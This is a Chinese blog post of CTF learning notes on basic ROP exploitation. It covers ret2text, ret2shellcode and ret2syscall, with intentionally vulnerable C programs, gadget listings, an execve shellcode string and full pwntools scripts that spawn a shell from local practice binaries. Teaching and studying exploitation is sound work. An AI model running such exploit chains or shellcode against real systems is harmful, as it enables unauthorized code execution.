汐白学Pwn-3.1(ROP-Basic)

汐白学Pwn-3.1(ROP-Basic)

三月 25, 2020 (Updated: )

ROP介绍

因为各种保护的出现,直接向栈或者堆上直接注入代码的方式难以发挥效果。所以需要相应的方法来绕过保护,而目前主要的是ROP(Return Oriented Programming),其主要方法是在栈缓冲区溢出的基础上,利用程序中已有的小片段(gadgets)来改变某些寄存器或者变量的值,从而控制程序的执行流程。所谓gadgets就是以ret结尾的指令序列,通过这些指令序列,可以修改某些地址的内容,方便控制程序的执行流程。

之所以称之为ROP,是因为核心在于利用了指令集中的ret指令,改变了指令流的执行顺序。ROP攻击一般得满足如下条件:

  • 程序存在溢出,并且可以控制返回地址。

  • 可以找到满足条件的gadgets以及相应gadgets的地址。

如果gadgets每次的地址是不固定的,就需要想办法动态获取对应的地址。

这里我是看 ctf-wiki 进行入门学习的,所以写的内容是根据 ctf-wiki 中pwn的文章进行的梳理。
推荐直接去:ctf-wiki

basic ROP

ret2text

最基础的ROP利用。ret 即指汇编的ret命令,text 指程序的代码段。
也就是通过溢出构造ROP链去 执行程序本身已经存在的代码 来实现自身想要实现的效果。

简单写一个入门样例程序,编译时保护全关。代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
#include<stdio.h>
#include<stdlib.h>
void hacker()
{
system("/bin/sh");
}
int main()
{
int buf;
gets(&buf);
return 0;
}

程序下载:ret2text
这个程序使用了gets危险函数,存在溢出点。使用ida查看伪c代码可以直接看到buf到栈底的距离只有 4byte 。

1
2
3
4
5
6
7
int __cdecl main(int argc, const char **argv, const char **envp)
{
int buf; // [rsp+Ch] [rbp-4h]

gets(&buf, argv, envp);
return 0;
}

只要输入超过 4byte 的数据就可以覆盖到栈底的值和返回地址,而且这个程序已经预先写好了system("/bin/sh")hacker函数里。
只要将返回地址覆盖为hacker的地址执行即可。这里再覆盖数据的时候注意:32bit和64bit的程序的栈指针宽度不同前者为32位4byte,后者8byte,所以数据覆盖到栈底是要注意到这个问题。

1
2
3
4
5
6
7
8
9
10
from pwn import *

sh = process('./ret2text')

payload = 'a'*(4+8) # 4 是覆盖 到 栈底需要的长度,8 是 覆盖 栈底 需要的长度,64bit系统栈指针宽为 8 byte ,该程序是64位
payload += p64(0x401132) # pwntools 的 p32/64 前文有写过,处理数据挺方便的

sh.sendline(payload)

sh.interactive()

ret2shellcode

一般来说可执行程序执行时都是让cpu直接读取运行机器码的,而机器码说到底不过是一串对cpu具有特殊意义的二进制数值,而计算机系统内部的所有工作都是基于二进制的,包括我们的输入也是以二进制的形式储存在一个地方。如果一个程序存在溢出,但是它本身没有什么可以让我们直接利用的代码段,这时候我们可以看看有没有机会让cpu执行我们所能控制的二进制数值,也就是将我们的输入作为机器码直接执行。
说直白一点就是我们刻意控制我们输入的其实是一串可以实现特殊作用的机器码,然后想办法控制cpurip/eip为我们的输入的地址,从而令其执行我们想要执行的命令。这串用以实现某个目的code就是所谓的shellcode

下面举个例子,源码如下:(假设我们已经可以控制eip为我们的输入所在地址,直接验证shellcode能否实现我们的目的

1
2
3
4
5
6
7
8
9
#include <stdio.h>

unsigned char shellcode[24] = "";

void main()
{
scanf("%24c",shellcode);
(void)((void (*)())shellcode)();
}

程序下载:shellcode
程序已经声明了一个字符串变量,然后我们输入的内容会被作为指令执行。这里我们将事先准备的可以呼出终端的shellcode作为输入观察结果,这里依旧通过pwntools来完成。

1
2
3
4
5
6
7
8
9
10
11
from pwn import *

p = process("./shellcode")

context(arch = 'i386', os = 'linux')

payload = '\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x6a\x0b\x58\xcd\x80'

p.sendline(payload)

p.interactive()

可以看到,我们成功用这个本来什么功能都没有的程序呼出了一个终端。
20200423183617

ret2syscall

前面我们知道了可以通过溢出ret来控制程序的执行内容以及shellcode的大概工作原理。那么当我们不能直接控制程序执行shellcode时,我们可以试着通过ret程序本身的个别代码段,变相实现shellcode的作用。

这里主要要说到两个汇编语句:32bit程序是int 80h 、64bit程序是syscall。这两个语句分别是32bit64bit实现系统调用的关键语句。
不了解系统调用的先来简单了解一下:

利用ret2text来调用程序本身的汇编语句实现shellcode。这个就是ret2syscall
在做ctf时一般是通过execve("/bin/sh",NULL,NULL)来呼出终端实现目的。

这里因为直接编译c程序不好控制它的汇编代码所以直接用ctf-wiki里给的程序了,偷个懒233
bamboofox 中的 ret2syscallret2syscall

pwntools自带的checksec命令可以看到我们关注的信息:

Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)

ida查看main函数:

1
2
3
4
5
6
7
8
9
10
11
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v4; // [esp+1Ch] [ebp-64h]

setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 1, 0);
puts("This time, no system() and NO SHELLCODE!!!");
puts("What do you plan to do?");
gets(&v4);
return 0;
}

依旧是一个简单的栈溢出,没有预留什么功能函数。需要ret2syscall的方法来getshell。这里32bit系统的execve()函数的调用号一般都是 11 也就是 0xb
所以我们要构造一串命令,将 eax赋值为0xb,清零ecx,edx,将“/bin/sh”的地址放入ebx,最后执行int 80h
这里我一般是用ROPgadget来寻找程序里可以实现相关目的的代码段。

1
2
3
4
5
6
ROPgadget --binary rop  --only 'pop|ret' | grep 'eax'
0x0809ddda : pop eax ; pop ebx ; pop esi ; pop edi ; ret
0x080bb196 : pop eax ; ret
0x0807217a : pop eax ; ret 0x80e
0x0804f704 : pop eax ; ret 3
0x0809ddd9 : pop es ; pop eax ; pop ebx ; pop esi ; pop edi ; ret

程序里可以用的代码片段不止一个是一般选最方便的,这里选第二个。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
ROPgadget --binary rop  --only 'pop|ret' | grep 'ebx'
0x0809dde2 : pop ds ; pop ebx ; pop esi ; pop edi ; ret
0x0809ddda : pop eax ; pop ebx ; pop esi ; pop edi ; ret
0x0805b6ed : pop ebp ; pop ebx ; pop esi ; pop edi ; ret
0x0809e1d4 : pop ebx ; pop ebp ; pop esi ; pop edi ; ret
0x080be23f : pop ebx ; pop edi ; ret
0x0806eb69 : pop ebx ; pop edx ; ret
0x08092258 : pop ebx ; pop esi ; pop ebp ; ret
0x0804838b : pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x080a9a42 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0x10
0x08096a26 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0x14
0x08070d73 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0xc
0x0805ae81 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 4
0x08049bfd : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 8
0x08048913 : pop ebx ; pop esi ; pop edi ; ret
0x08049a19 : pop ebx ; pop esi ; pop edi ; ret 4
0x08049a94 : pop ebx ; pop esi ; ret
0x080481c9 : pop ebx ; ret
0x080d7d3c : pop ebx ; ret 0x6f9
0x08099c87 : pop ebx ; ret 8
0x0806eb91 : pop ecx ; pop ebx ; ret
0x0806336b : pop edi ; pop esi ; pop ebx ; ret
0x0806eb90 : pop edx ; pop ecx ; pop ebx ; ret
0x0809ddd9 : pop es ; pop eax ; pop ebx ; pop esi ; pop edi ; ret
0x0806eb68 : pop esi ; pop ebx ; pop edx ; ret
0x0805c820 : pop esi ; pop ebx ; ret
0x08050256 : pop esp ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x0807b6ed : pop ss ; pop ebx ; ret

这里选0x0806eb90 : pop edx ; pop ecx ; pop ebx ; ret

顺便看看程序里有没有能用的/bin/sh字符串。

1
2
3
4
ROPgadget --binary rop  --string '/bin/sh'
Strings information
============================================================
0x080be408 : /bin/sh

最后找一个int 80h就可以了。

1
2
3
4
5
6
7
ROPgadget --binary rop  --only 'int'
Gadgets information
============================================================
0x08049421 : int 0x80
0x080938fe : int 0xbb
0x080869b5 : int 0xf6
0x0807b4d4 : int 0xfc

至此,相关片段都已经找好了,我们只需要构造一下payload,是其能完美调用这些片段并实现我们的目的就好。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from pwn import *

io = process('./rop')

context(os='linux',arch='i386',log_level='debug')

eax_addr = p32(0x80bb196)
binsh_addr = p32(0x80be408)
edx_ecx_ebx_addr = p32(0x806eb90)
int_addr = p32(0x8049421)

payload = 'a'*0x70
payload += eax_addr
payload += p32(0xb)
payload += edx_ecx_ebx_addr
payload += p64(0)
payload += binsh_addr
payload += int_addr

io.sendline(payload)

io.interactive()

上篇-汐白学Pwn-2(SomeBasic)/)

下篇-汐白学Pwn-3.2(ROP-Intermediate)/)

隐藏